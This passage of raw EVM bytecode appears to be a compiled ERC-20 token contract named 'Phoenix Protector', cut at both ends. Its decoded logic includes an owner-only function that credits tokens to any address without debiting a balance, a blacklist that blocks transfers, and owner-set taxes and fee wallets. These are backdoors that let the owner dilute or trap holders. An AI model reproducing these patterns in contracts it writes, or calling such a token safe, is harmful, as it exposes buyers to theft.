fe5565b60405180910390fd5b8060088190555050565b60606040518060400160405280601181526020017f50686f656e69782050726f746563746f72000000000000000000000000000000815250905090565b6000610ada610ad36125c3565b84846125cb565b6001905092915050565b610aec6125c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7090613fe5565b60405180910390fd5b60648110610bbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb3906140f7565b60405180910390fd5b80600c8190555050565b6000600654905090565b610bd86125c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5c90613fe5565b60405180910390fd5b60648110610ca8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9f906140f7565b60405180910390fd5b80600e8190555050565b610cba6125c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3e90613fe5565b60405180910390fd5b80600a8190555050565b6000610d5e848484612794565b610e1f84610d6a6125c3565b610e1a85604051806060016040528060288152602001614c6160289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610dd06125c3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612de69092919063ffffffff16565b6125cb565b600190509392505050565b60006008905090565b610e3b6125c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ec8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebf90613fe5565b60405180910390fd5b80601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000601460169054906101000a900460ff16905090565b610f2b6125c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610faf90613fe5565b60405180910390fd5b8060098190555050565b610fca6125c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611057576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104e90613fe5565b60405180910390fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6110ba6125c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611147576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113e90613fe5565b60405180910390fd5b8060128190555050565b6111596125c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111dd90613fe5565b60405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6112496125c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cd90613fe5565b60405180910390fd5b60648110611319576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611310906140f7565b60405180910390fd5b80600d8190555050565b600047905061133181612e4a565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6113856125c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611412576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140990613fe5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6114d86125c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611565576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155c90613fe5565b60405180910390fd5b80600b8190555050565b6115776125c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611604576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115fb90613fe5565b60405180910390fd5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061164d30611334565b60008061165861197c565b426040518863ffffffff1660e01b815260040161167a9695949392919061415c565b60606040518083038185885af1158015611698573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906116bd91906141d2565b5050506001601460166101000a81548160ff021916908315150217905550565b6000601154905090565b6116ef6125c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461177c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177390613fe5565b60405180910390fd5b6305f5e1008161178c9190614225565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561180d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611804906142f1565b60405180910390fd5b61186e6305f5e100826118209190614225565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612eec90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506305f5e100816118c19190614225565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6305f5e100846119639190614225565b6040516119709190613e04565b60405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6119ad6125c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3190613fe5565b60405180910390fd5b60005b8151811015611acb57600160046000848481518110611a5f57611a5e614005565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611ac390614063565b915050611a3d565b5050565b60606040518060400160405280600681526020017f50484e4958500000000000000000000000000000000000000000000000000000815250905090565b611b146125c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ba1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9890613fe5565b60405180910390fd5b60148054906101000a900460ff1615611bef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be69061435d565b60405180910390fd5b611c1e30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166006546125cb565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611c8b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611caf9190614392565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611d38573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d5c9190614392565b6040518363ffffffff1660e01b8152600401611d799291906143bf565b6020604051808303816000875af1158015611d98573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611dbc9190614392565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611e9b9291906143e8565b6020604051808303816000875af1158015611eba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ede9190614426565b50565b6000611ef5611eee6125c3565b8484612794565b6001905092915050565b611f076125c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611f94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f8b90613fe5565b60405180910390fd5b6011548111611fa257600080fd5b8060118190555050565b60056020528060005260406000206000915054906101000a900460ff1681565b611fd46125c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612061576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205890613fe5565b60405180910390fd5b80600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000601460159054906101000a900460ff16905090565b6120c46125c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612151576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214890613fe5565b60405180910390fd5b6305f5e100816121619190614225565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546121af9190614453565b925050819055508173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6305f5e100846122159190614225565b6040516122229190613e04565b60405180910390a35050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6122bd6125c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461234a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161234190613fe5565b60405180910390fd5b8060078190555050565b61235c6125c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146123e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123e090613fe5565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61244c6125c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146124d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124d090613fe5565b60405180910390fd5b806014806101000a81548160ff02191690831515021790555050565b6000601254905090565b60008083036125115760009050612573565b6000828461251f9190614225565b905082848261252e91906144d8565b1461256e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125659061457b565b60405180910390fd5b809150505b92915050565b60006125bb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612f36565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361263a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126319061460d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036126a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126a09061469f565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516127879190613e04565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612803576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127fa90614731565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612872576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612869906147c3565b60405180910390fd5b600081116128b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128ac90614855565b60405180910390fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156129595750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b612998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161298f906148c1565b60405180910390fd5b6129a061197c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015612a0e57506129de61197c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612d2657601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015612abe5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612b145750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612c0457601154811115612b5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b559061492d565b60405180910390fd5b60148054906101000a900460ff16612bab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ba290614999565b60405180910390fd5b60125481612bb884611334565b612bc29190614453565b1115612c03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bfa90614a05565b60405180910390fd5b5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612c6c57612c61612f99565b600881905550612c7b565b612c74612fb0565b6008819055505b6000612c8630611334565b9050601460159054906101000a900460ff16158015612cf35750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015612d0b5750601460169054906101000a900460ff165b15612d24576007548110612d2357612d2281612fc7565b5b5b505b612de1838383600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612dcd5750600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612dd957600854612ddc565b60005b61315a565b505050565b6000838311158290612e2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e259190613d5d565b60405180910390fd5b5060008385612e3d9190614a25565b9050809150509392505050565b6000612e746064612e66600e54856124ff90919063ffffffff16565b61257990919063ffffffff16565b9050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612ede573d6000803e3d6000fd5b50612ee8476133c7565b5050565b6000612f2e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612de6565b905092915050565b60008083118290612f7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f749190613d5d565b60405180910390fd5b5060008385612f8c91906144d8565b9050809150509392505050565b6000600954600b54612fab9190614453565b905090565b6000600a54600b54612fc29190614453565b905090565b6001601460156101000a81548160ff021916908315150217905550600061300c6064612ffe600c54856124ff90919063ffffffff16565b61257990919063ffffffff16565b90506000613038606461302a600d54866124ff90919063ffffffff16565b61257990919063ffffffff16565b9050600061304f82846136bd90919063ffffffff16565b905060006130668286612eec90919063ffffffff16565b9050600061307d82856136bd90919063ffffffff16565b9050600061309560028761257990919063ffffffff16565b905060006130ac8288612eec90919063ffffffff16565b905060004790506130ce6130c985856136bd90919063ffffffff16565b61371b565b60006130e38247612eec90919063ffffffff16565b90506130ef818461395e565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb56184828560405161312293929190614a59565b60405180910390a161313386612e4a565b5050505050505050506000601460156101000a81548160ff02191690831515021790555050565b6000613182606461317484866124ff90919063ffffffff16565b61257990919063ffffffff16565b905060006131998285612eec90919063ffffffff16565b90506131ed84600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612eec90919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061328281600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136bd90919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061331782600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136bd90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516133b79190613e04565b60405180910390a3505050505050565b6000600267ffffffffffffffff8111156133e4576133e3613a88565b5b6040519080825280602002602001820160405280156134125781602001602082028036833780820191505090505b509050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613482573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906134a69190614392565b816000815181106134ba576134b9614005565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160018151811061352b5761352a614005565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613622601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156135d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906135f99190614392565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846125cb565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b6f9de958360008461dead426040518663ffffffff1660e01b81526004016136879493929190614b4e565b6000604051808303818588803b1580156136a057600080fd5b505af11580156136b4573d6000803e3d6000fd5b50505050505050565b60008082846136cc9190614453565b905083811015613711576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161370890614be6565b60405180910390fd5b8091505092915050565b6000600267ffffffffffffffff81111561373857613737613a88565b5b6040519080825280602002602001820160405280156137665781602001602082028036833780820191505090505b509050308160008151811061377e5761377d614005565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613825573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906138499190614392565b8160018151811061385d5761385c614005565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506138c430601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846125cb565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613928959493929190614c06565b600060405180830381600087803b15801561394257600080fd5b505af1158015613956573d6000803e3d6000fd5b505050505050565b61398b30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836125cb565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198330846000806139d761197c565b426040518863ffffffff1660e01b81526004016139f99695949392919061415c565b60606040518083038185885af1158015613a17573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190613a3c91906141d2565b5050506001601460166101000a81548160ff0219169083151502179055505050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b613ac082613a77565b810181811067ffffffffffffffff82111715613adf57613ade613a88565b5b80604052505050565b6000613af2613a5e565b9050613afe8282613ab7565b919050565b600067ffffffffffffffff821115613b1e57613b1d613a88565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000613b5f82613b34565b9050919050565b613b6f81613b54565b8114613b7a57600080fd5b50565b600081359050613b8c81613b66565b92915050565b6000613ba5613ba084613b03565b613ae8565b90508083825260208201905060208402830185811115613bc857613bc7613b2f565b5b835b81811015613bf15780613bdd8882613b7d565b845260208401935050602081019050613bca565b5050509392505050565b600082601f830112613c1057613c0f613a72565b5b8135613c20848260208601613b92565b91505092915050565b600060208284031215613c3f57613c3e613a68565b5b600082013567ffffffffffffffff811115613c5d57613c5c613a6d565b5b613c6984828501613bfb565b91505092915050565b6000819050919050565b613c8581613c72565b8114613c9057600080fd5b50565b600081359050613ca281613c7c565b92915050565b600060208284031215613cbe57613cbd613a68565b5b6000613ccc84828501613c93565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613d0f578082015181840152602081019050613cf4565b83811115613d1e576000848401525b50505050565b6000613d2f82613cd5565b613d398185613ce0565b9350613d49818560208601613cf1565b613d5281613a77565b840191505092915050565b60006020820190508181036000830152613d778184613d24565b905092915050565b60008060408385031215613d9657613d95613a68565b5b6000613da485828601613b7d565b9250506020613db585828601613c93565b9150509250929050565b60008115159050919050565b613dd481613dbf565b82525050565b6000602082019050613def6000830184613dcb565b92915050565b613dfe81613c72565b82525050565b6000602082019050613e196000830184613df5565b92915050565b600080600060608486031215613e3857613e37613a68565b5b6000613e4686828701613b7d565b9350506020613e5786828701613b7d565b9250506040613e6886828701613c93565b9150509250925092565b600060ff82169050919050565b613e8881613e72565b82525050565b6000602082019050613ea36000830184613e7f565b92915050565b600060208284031215613ebf57613ebe613a68565b5b6000613ecd84828501613b7d565b91505092915050565b613edf81613b54565b82525050565b6000602082019050613efa6000830184613ed6565b92915050565b60008060408385031215613f1757613f16613a68565b5b6000613f2585828601613b7d565b9250506020613f3685828601613b7d565b9150509250929050565b613f4981613dbf565b8114613f5457600080fd5b50565b600081359050613f6681613f40565b92915050565b600060208284031215613f8257613f81613a68565b5b6000613f9084828501613f57565b91505092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613fcf602083613ce0565b9150613fda82613f99565b602082019050919050565b60006020820190508181036000830152613ffe81613fc2565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061406e82613c72565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036140a05761409f614034565b5b600182019050919050565b7f50657263656e7420697320746f6f206869676800000000000000000000000000600082015250565b60006140e1601383613ce0565b91506140ec826140ab565b602082019050919050565b60006020820190508181036000830152614110816140d4565b9050919050565b6000819050919050565b6000819050919050565b600061414661414161413c84614117565b614121565b613c72565b9050919050565b6141568161412b565b82525050565b600060c0820190506141716000830189613ed6565b61417e6020830188613df5565b61418b604083018761414d565b614198606083018661414d565b6141a56080830185613ed6565b6141b260a0830184613df5565b979650505050505050565b6000815190506141cc81613c7c565b92915050565b6000806000606084860312156141eb576141ea613a68565b5b60006141f9868287016141bd565b935050602061420a868287016141bd565b925050604061421b868287016141bd565b9150509250925092565b600061423082613c72565b915061423b83613c72565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561427457614273614034565b5b828202905092915050565b7f436f6e747261637420646f6573206e6f74206861766520656e6f75676820746f60008201527f6b656e7300000000000000000000000000000000000000000000000000000000602082015250565b60006142db602483613ce0565b91506142e68261427f565b604082019050919050565b6000602082019050818103600083015261430a816142ce565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000614347601783613ce0565b915061435282614311565b602082019050919050565b600060208201905081810360008301526143768161433a565b9050919050565b60008151905061438c81613b66565b92915050565b6000602082840312156143a8576143a7613a68565b5b60006143b68482850161437d565b91505092915050565b60006040820190506143d46000830185613ed6565b6143e16020830184613ed6565b9392505050565b60006040820190506143fd6000830185613ed6565b61440a6020830184613df5565b9392505050565b60008151905061442081613f40565b92915050565b60006020828403121561443c5761443b613a68565b5b600061444a84828501614411565b91505092915050565b600061445e82613c72565b915061446983613c72565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561449e5761449d614034565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006144e382613c72565b91506144ee83613c72565b9250826144fe576144fd6144a9565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000614565602183613ce0565b915061457082614509565b604082019050919050565b6000602082019050818103600083015261459481614558565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006145f7602483613ce0565b91506146028261459b565b604082019050919050565b60006020820190508181036000830152614626816145ea565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000614689602283613ce0565b91506146948261462d565b604082019050919050565b600060208201905081810360008301526146b88161467c565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061471b602583613ce0565b9150614726826146bf565b604082019050919050565b6000602082019050818103600083015261474a8161470e565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006147ad602383613ce0565b91506147b882614751565b604082019050919050565b600060208201905081810360008301526147dc816147a0565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061483f602983613ce0565b915061484a826147e3565b604082019050919050565b6000602082019050818103600083015261486e81614832565b9050919050565b7f54686973206163636f756e7420697320626c61636b6c69737465640000000000600082015250565b60006148ab601b83613ce0565b91506148b682614875565b602082019050919050565b600060208201905081810360008301526148da8161489e565b9050919050565b7f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000600082015250565b6000614917601a83613ce0565b9150614922826148e1565b602082019050919050565b600060208201905081810360008301526149468161490a565b9050919050565b7f54726164696e67206e6f74207374617274656400000000000000000000000000600082015250565b6000614983601383613ce0565b915061498e8261494d565b602082019050919050565b600060208201905081810360008301526149b281614976565b9050919050565b7f42616c616e63652065786365656465642077616c6c65742073697a6500000000600082015250565b60006149ef601c83613ce0565b91506149fa826149b9565b602082019050919050565b60006020820190508181036000830152614a1e816149e2565b9050919050565b6000614a3082613c72565b9150614a3b83613c72565b925082821015614a4e57614a4d614034565b5b828203905092915050565b6000606082019050614a6e6000830186613df5565b614a7b6020830185613df5565b614a886040830184613df5565b949350505050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614ac581613b54565b82525050565b6000614ad78383614abc565b60208301905092915050565b6000602082019050919050565b6000614afb82614a90565b614b058185614a9b565b9350614b1083614aac565b8060005b83811015614b41578151614b288882614acb565b9750614b3383614ae3565b